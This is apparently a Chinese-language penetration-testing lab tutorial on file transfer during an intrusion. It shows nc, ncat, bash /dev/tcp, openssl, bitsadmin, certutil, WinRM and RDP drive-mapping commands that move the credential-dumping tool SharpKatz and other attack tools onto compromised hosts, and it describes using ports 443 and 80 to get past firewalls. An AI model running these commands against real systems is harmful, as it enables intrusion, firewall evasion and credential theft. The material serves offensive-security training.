本文将描述更加灵活的文件传输手段。
Nc接受文件
nc -l -p 8000 > SharpKatz.exe
Nc发送文件
nc -q 0 192.168.49.128 8000 < SharpKatz.exe
Ncat接受文件
ncat -l -p 8000 --recv-only > SharpKatz.exe
Ncat发送文件
ncat --send-only 192.168.49.128 8000 < SharpKatz.exe
Nc 被动发送文件
被动发送文件并非官方术语,是瘾小生自己的描述方法。因为这种传输方式,是被动等待被连接后向连接方发送文件的模式,非常类似于FTP的Passive模式。所以我说是被动模式。
而这种模式的优势就在于,当受感染主机有防火墙抵御外部连接的流量时,我们可以采用此种被动模式绕过防火墙继续完成文件的传输。请注意我们应当慎重选择被动发送的端口,这必须根据防火墙的策略来。正如我们前面所说HTTPS,HTTP,DNS流量于网络中容易被放通,所以我们应该采用哪些端口就不言而喻了。
sudo nc -l -p 443 -q 0 < SharpKatz.exe
Nc 被动接收文件
nc 192.168.49.128 443 > SharpKatz.exe
Ncat被动发送文件
sudo ncat -l -p 443 --send-only < SharpKatz.exe
Ncat被动接收文件
ncat 192.168.49.128 443 --recv-only > SharpKatz.exe
bash被动接受文件
cat < /dev/tcp/192.168.49.128/443 > SharpKatz.exe
使用本地的合法工具进行攻击
在国外称此种行为叫“Living off the land”。这个短语是由 Christopher Campbell @obscuresec和 Matt Graeber @mattifestation在DerbyCon 3上创造的。LOLBins(Living off the Land 二进制文件)这一术语源自 Twitter 上的一场讨论,讨论如何称呼攻击者可以用来执行超出其原始目的的操作的二进制文件。目前有两个网站汇总了有关 Living off the Land 二进制文件的信息:
Windows二进制集合
Linux二进制集合
Openssl创建证书
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
Openssl被动发送文件
openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/LinEnum.sh
Openssl 被动接收文件
openssl s_client -connect 10.10.10.32:80 -quiet > LinEnum.sh
xfreerdp挂载到Linux文件夹
xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransfer
Bitsadmin下载文件
PS C:\htb> bitsadmin /transfer wcb /priority foreground http://10.10.15.66:8000/nc.exe C:\Users\htb-student\Desktop\nc.exe
PS C:\htb> Import-Module bitstransfer; Start-BitsTransfer -Source "http://10.10.10.32:8000/nc.exe" -Destination "C:\Windows\Temp\nc.exe"
Certutil下载文件
C:\htb> certutil.exe -verifyctl -split -f http://10.10.10.32:8000/nc.exe
WinRM 文件传输
WinRM开启与5985和5986端口,用户Powershell Remote
建立连接
Test-NetConnection -ComputerName DATABASE01 -Port 5985
ComputerName : DATABASE01
RemoteAddress : 192.168.1.101
RemotePort : 5985
InterfaceAlias : Ethernet0
SourceAddress : 192.168.1.100
TcpTestSucceeded : True
$Session = New-PSSession -ComputerName DATABASE01
搬运文件
Copy-Item可以搬运文件,类似于copy很容易理解。
Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\
Copy-Item -Path <搬运的文件路径> -ToSession <目的主机的Session> -Destination <目的地路径>
Copy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -Destination C:\ -FromSession $Session
rdesktop挂载到Linux文件夹
rdesktop 10.10.10.132 -d HTB -u administrator -p 'Password0@' -r disk:linux='/home/user/rdesktop/files'
rdesktop 10.10.10.132 -d <domain> -u <认证用户> -p <认证密码> -r disk:linux=<将linux系统中的某个文件夹挂载到windows>
这条 rdesktop
命令用于通过远程桌面协议 (RDP) 连接到远程 Windows 主机,并映射本地 Linux 目录到远程主机。让我们分解解释它的各个部分:
rdesktop 10.10.10.132
: 使用rdesktop
客户端连接到 IP 地址10.10.10.132
的远程 Windows 机器。rdesktop
是一个用于 Linux 的 RDP 客户端。
-d HTB
: 指定连接的域名为HTB
。通常在 Windows 环境中,域(domain)用于身份验证和管理用户。
-u administrator
: 使用用户名administrator
进行连接。administrator
是常见的 Windows 管理员账户名。
-p 'Password0@'
: 使用密码Password0@
进行身份验证。注意,密码用单引号括起来,以避免在 shell 中引起误解或处理特殊字符。
-r disk:linux='/home/user/rdesktop/files'
: 这一部分用来将本地 Linux 目录/home/user/rdesktop/files
映射为远程 Windows 系统中的网络驱动器linux:
。这意味着在远程桌面连接中,你可以访问名为linux:
的驱动器,它对应本地的/home/user/rdesktop/files
目录。这在传输文件时非常有用。
访问挂载文件夹
一旦挂载成功,我们还可以在资源管理器中直接访问文件夹。